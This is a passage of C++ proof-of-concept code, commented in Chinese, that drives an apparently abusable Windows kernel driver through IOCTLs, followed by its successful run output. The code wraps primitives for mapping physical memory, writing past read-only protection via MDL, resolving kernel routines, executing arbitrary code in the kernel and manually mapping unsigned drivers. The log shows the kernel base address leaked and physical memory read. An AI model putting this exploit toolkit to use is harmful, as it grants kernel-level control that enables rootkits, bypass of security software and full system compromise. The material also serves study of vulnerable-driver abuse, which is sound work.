static void* KMapPhysicalMemory(uint64_t pa, uint32_t size) {
struct { uint64_t pa; uint32_t size; uint32_t _pad; uint64_t va; } in = { pa, size, 0, 0 };
if (DevIo(IOCTL_MAP_PHYSICAL, &in, 0x18, &in, 0x18)) return (void*)in.va;
return nullptr;
}
static void KUnmapPhysicalMemory(void* va, uint32_t size) {
struct { uint64_t va; uint32_t size; uint32_t _pad; } in = { (uint64_t)va, size, 0 };
DevIo(IOCTL_UNMAP_PHYSICAL, &in, 0x10, &in, 0x10);
}
// ---- 4. MDL 重映射写(绕过只读) ----
static BOOL WriteMemoryMdl(void* target, const void* src, uint32_t size) {
uint8_t buf[0x10 + 0x1000];
if (size > 0x1000) return FALSE;
*(uint64_t*)(buf + 0x00) = (uint64_t)target;
*(uint32_t*)(buf + 0x08) = size;
memcpy(buf + 0x10, src, size);
DWORD done = 0;
return DevIo(IOCTL_WRITE_MEMORY_MDL, buf, 0x10 + size, buf, 0x10 + size, &done);
}
// ---- 5. 模块基址查询 ----
static uint64_t KGetModuleBase(const char* name) {
uint8_t buf[0x110] = {};
strncpy_s((char*)buf, 0x108, name, _TRUNCATE);
DWORD done = 0;
if (DevIo(IOCTL_GET_MODULE_BASE, buf, 0x110, buf, 0x110, &done)) {
// done 可能 < 0x110; 仅取 [0x108]
return *(uint64_t*)(buf + 0x108);
}
return 0;
}
// ---- 6. 内核例程解析 ----
static uint64_t KResolveRoutine(uint64_t moduleHint, const char* ansiName) {
uint8_t buf[0x118] = {};
*(uint64_t*)(buf + 0x00) = moduleHint;
strncpy_s((char*)buf + 8, 0x108, ansiName, _TRUNCATE);
DWORD done = 0;
if (DevIo(IOCTL_RESOLVE_ROUTINE, buf, 0x118, buf, 0x118, &done)) {
return *(uint64_t*)(buf + 0x110);
}
return 0;
}
// ---- 7. 任意代码执行 ----
struct ExecInput {
uint64_t fn; // [0x00]
uint64_t result; // [0x08] out
uint32_t argc; // [0x10]
uint32_t pad; // [0x14]
uint64_t args[4]; // [0x18]
}; // 0x38
static uint64_t KExecuteCode(uint64_t fn, uint32_t argc, const uint64_t* args) {
ExecInput in = {};
in.fn = fn; in.argc = argc;
for (uint32_t i = 0; i < argc && i < 4; i++) in.args[i] = args[i];
if (DevIo(IOCTL_EXECUTE_CODE, &in, sizeof(in), &in, sizeof(in))) return in.result;
return 0;
}
// ---- 8. 缓存失效 ----
static void KInvalidateCaches(void* va, uint32_t size) {
struct { uint64_t va; uint32_t size; uint32_t _pad; } in = { (uint64_t)va, size, 0 };
DevIo(IOCTL_INVALIDATE_CACHES, &in, 0x10, &in, 0x10);
}
// ---- 9. 手动映射驱动 ----
#pragma pack(push,1)
struct MapDriverInput {
uint32_t totalSize; // [0x00]
uint32_t flags; // [0x04] bit0=asImageBase, bit1=oneShot, bit5=passBufAsArg0
uint32_t imageSize; // [0x08]
uint32_t relocSize; // [0x0C]
uint32_t importSize; // [0x10]
uint8_t data[1]; // [0x14] image + reloc + import
};
#pragma pack(pop)
static uint64_t KMapDriver(const void* pe, uint32_t imageSize, uint32_t flags = 0x23 /*asImageBase|oneShot|passBuf*/) {
uint32_t total = sizeof(MapDriverInput) - 1 + imageSize;
uint8_t* buf = (uint8_t*)calloc(total, 1);
MapDriverInput* hdr = (MapDriverInput*)buf;
hdr->totalSize = total;
hdr->flags = flags;
hdr->imageSize = imageSize;
hdr->relocSize = 0;
hdr->importSize = 0;
memcpy(hdr->data, pe, imageSize);
uint64_t base = 0;
DWORD done = 0;
if (DevIo(IOCTL_MAP_DRIVER, buf, total, &base, sizeof(base), &done)) {
free(buf);
return base;
}
free(buf);
return 0;
}
// ---- 演示: 调用内核 DbgPrintEx 打印一条消息 ----
typedef NTSTATUS(NTAPI* fnDbgPrintEx)(ULONG Comp, ULONG Level, PCSTR fmt, ...);
// 注: 实际 DbgPrintEx 是 varargs,这里仅作 4 参固定演示;真实调用需匹配原型
int wmain() {
g_hDev = CreateFileW(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, nullptr,
OPEN_EXISTING, 0, nullptr);
if (g_hDev == INVALID_HANDLE_VALUE) {
Log("[-] 打开 %ls 失败: %u (驱动未加载/未鉴权/无权限)", DEVICE_NAME, GetLastError());
return 1;
}
Log("[+] 已打开 %ls\n", DEVICE_NAME);
// === Demo 1: 查询 ntoskrnl.exe 基址 ===
Log("--- Demo 1: 内核模块基址查询 ---");
uint64_t ntoskrnl = KGetModuleBase("ntoskrnl.exe");
Log(" ntoskrnl.exe = 0x%llX", ntoskrnl);
if (!ntoskrnl) {
Log("[-] 无法获取 ntoskrnl 基址,后续 Demo 可能失败");
}
// === Demo 2: 解析 MmGetSystemRoutineAddress 地址 (作为 routine 解析示例) ===
Log("--- Demo 2: 内核函数地址解析 ---");
uint64_t mmGetSysRoutine = KResolveRoutine(ntoskrnl, "MmGetSystemRoutineAddress");
Log(" MmGetSystemRoutineAddress = 0x%llX", mmGetSysRoutine);
// === Demo 3: 分配一块 NonPaged 池, 写入并读回验证 ===
Log("--- Demo 3: 内核池分配/填充/拷贝验证 ---");
void* pool = AllocPool(0x100, TRUE);
Log(" AllocPool(0x100, NonPaged) = %p", pool);
if (pool) {
KFillMemory(pool, 0xAA, 0x100);
Log(" KFillMemory(0xAA) done");
// 通过 KCopyMemory 把 pool 内容拷到用户态缓冲区做 hexdump 验证
uint8_t verify[0x40] = {};
if (KCopyMemory(verify, pool, sizeof(verify))) {
HexDump(verify, 0x30, "pool 前 0x30 字节 (期望全 0xAA)");
} else {
Log("[-] KCopyMemory 验证读取失败");
}
// 再拷到第二个内核池做交叉验证
void* pool2 = AllocPool(0x100, TRUE);
if (pool2) {
KCopyMemory(pool2, pool, 0x100);
Log(" KCopyMemory(pool -> pool2) done");
FreePool(pool2);
}
FreePool(pool);
} else {
Log("[-] AllocPool 失败");
}
// === Demo 4: 虚拟地址 -> 物理地址, 映射物理内存读取 ===
Log("--- Demo 4: VA->PA 转换 + 物理内存映射 ---");
uint64_t pa = KGetPhysicalAddress((void*)ntoskrnl);
Log(" ntoskrnl VA=0x%llX -> PA=0x%llX", ntoskrnl, pa);
// 安全检查: PA 是否在合理范围? (通常 > 0x1000 且 < 物理内存上限)
if (pa == 0 || pa < 0x1000) {
Log("[-] PA 无效或过小,跳过物理内存映射 (PA=0x%llX)", pa);
} else if (pa > 0x100000000ULL) { // > 4GB, 可能需要大页支持
Log("[!] PA 超过 4GB (0x%llX),映射可能失败", pa);
// 仍然尝试
Log("[*] 尝试 KMapPhysicalMemory(PA=0x%llX, 0x1000)...", pa);
fflush(stdout);
void* mapped = KMapPhysicalMemory(pa, 0x1000);
Log(" KMapPhysicalMemory -> %p", mapped);
if (mapped) {
uint8_t buf[0x40] = {};
if (KCopyMemory(buf, mapped, sizeof(buf))) {
HexDump(buf, 0x40, "物理映射区前 0x40 字节 (期望 'MZ')");
} else {
Log("[-] KCopyMemory 从物理映射区读取失败");
}
KUnmapPhysicalMemory(mapped, 0x1000);
} else {
Log("[-] KMapPhysicalMemory 失败 (PA 超 4GB)");
}
} else {
Log("[*] 尝试 KMapPhysicalMemory(PA=0x%llX, 0x1000)...", pa);
fflush(stdout);
void* mapped = KMapPhysicalMemory(pa, 0x1000);
Log(" KMapPhysicalMemory -> %p", mapped);
if (mapped) {
uint8_t buf[0x40] = {};
if (KCopyMemory(buf, mapped, sizeof(buf))) {
HexDump(buf, 0x40, "物理映射区前 0x40 字节 (期望 'MZ')");
} else {
Log("[-] KCopyMemory 从物理映射区读取失败");
}
KUnmapPhysicalMemory(mapped, 0x1000);
} else {
Log("[-] KMapPhysicalMemory 失败");
}
}
// === Demo 5: 无效化缓存 (配合 MDL 写使用) ===
Log("--- Demo 5: 缓存无效化 ---");
{
void* tmp = AllocPool(0x100, FALSE);
if (tmp) {
Log(" 无效化: va=%p size=0x100", tmp);
KInvalidateCaches(tmp, 0x100);
FreePool(tmp);
}
}
// === Demo 6: KResolveRoutine 批量解析更多内核函数 ===
Log("--- Demo 6: 批量解析常见内核函数地址 ---");
static const char* kFuncs[] = {
"PsLookupProcessByProcessId",
"ZwQuerySystemInformation",
"ExAllocatePool2",
"ObReferenceObjectByHandle",
};
for (auto name : kFuncs) {
uint64_t addr = KResolveRoutine(ntoskrnl, name);
Log(" [+] %-40s = 0x%016llX (offset=+0x%llX)",
name, addr, addr ? (addr - ntoskrnl) : 0);
}
// === Demo 7: 手动映射一个驱动 (略, 需提供 PE 字节) ===
// uint64_t mappedBase = KMapDriver(peBytes, peSize, 0x23);
// Log("[+] KMapDriver -> 0x%llX", mappedBase);
Log("--- Demo 7: 手动映射驱动 (已跳过,需提供 PE 字节) ---");
Log("\n====== 全部 Demo 完成 ======");
CloseHandle(g_hDev);
return 0;
}
C:\Users\test\Desktop\test\loader>poc.exe
[+] 已打开 \\.\DriverLoader
--- Demo 1: 内核模块基址查询 ---
[ok] IOCTL 0x0022201C in=272 out=272 -> returned=272
ntoskrnl.exe = 0xFFFFF80619E1F000
--- Demo 2: 内核函数地址解析 ---
[ok] IOCTL 0x00222020 in=280 out=280 -> returned=280
MmGetSystemRoutineAddress = 0xFFFFF8061A4B8E80
--- Demo 3: 内核池分配/填充/拷贝验证 ---
[ok] IOCTL 0x00222014 in=24 out=24 -> returned=24
AllocPool(0x100, NonPaged) = FFFFD18D1E0E1E20
[ok] IOCTL 0x00222004 in=24 out=24 -> returned=24
KFillMemory(0xAA) done
[ok] IOCTL 0x00222000 in=24 out=24 -> returned=24
[dump] pool 前 0x30 字节 (期望全 0xAA) (48 bytes):
00000000 AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA ................
00000010 AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA ................
00000020 AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA ................
[ok] IOCTL 0x00222014 in=24 out=24 -> returned=24
[ok] IOCTL 0x00222000 in=24 out=24 -> returned=24
KCopyMemory(pool -> pool2) done
[ok] IOCTL 0x00222018 in=8 out=8 -> returned=0
[ok] IOCTL 0x00222018 in=8 out=8 -> returned=0
--- Demo 4: VA->PA 转换 + 物理内存映射 ---
[ok] IOCTL 0x00222008 in=16 out=16 -> returned=16
ntoskrnl VA=0xFFFFF80619E1F000 -> PA=0x2C00000
[*] 尝试 KMapPhysicalMemory(PA=0x2C00000, 0x1000)...
[ok] IOCTL 0x0022200C in=24 out=24 -> returned=24
KMapPhysicalMemory -> FFFFE581A9D15000
[ok] IOCTL 0x00222000 in=24 out=24 -> returned=24
[dump] 物理映射区前 0x40 字节 (期望 'MZ') (64 bytes):
00000000 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 MZ..............
00000010 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........@.......
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 ................
[ok] IOCTL 0x00222010 in=16 out=16 -> returned=0
--- Demo 5: 缓存无效化 ---
[ok] IOCTL 0x00222014 in=24 out=24 -> returned=24
无效化: va=FFFFBE8F49D60EB0 size=0x100
[ok] IOCTL 0x00222040 in=16 out=16 -> returned=16
[ok] IOCTL 0x00222018 in=8 out=8 -> returned=0
--- Demo 6: 批量解析常见内核函数地址 ---
[ok] IOCTL 0x00222020 in=280 out=280 -> returned=280
[+] PsLookupProcessByProcessId = 0xFFFFF8061A444CA0 (offset=+0x625CA0)
[ok] IOCTL 0x00222020 in=280 out=280 -> returned=280
[+] ZwQuerySystemInformation = 0xFFFFF8061A219130 (offset=+0x3FA130)
[ok] IOCTL 0x00222020 in=280 out=280 -> returned=280
[+] ExAllocatePool2 = 0xFFFFF8061A7D31B0 (offset=+0x9B41B0)
[ok] IOCTL 0x00222020 in=280 out=280 -> returned=280
[+] ObReferenceObjectByHandle = 0xFFFFF8061A45D2E0 (offset=+0x63E2E0)
--- Demo 7: 手动映射驱动 (已跳过,需提供 PE 字节) ---
====== 全部 Demo 完成 ======

浙公网安备 33010602011771号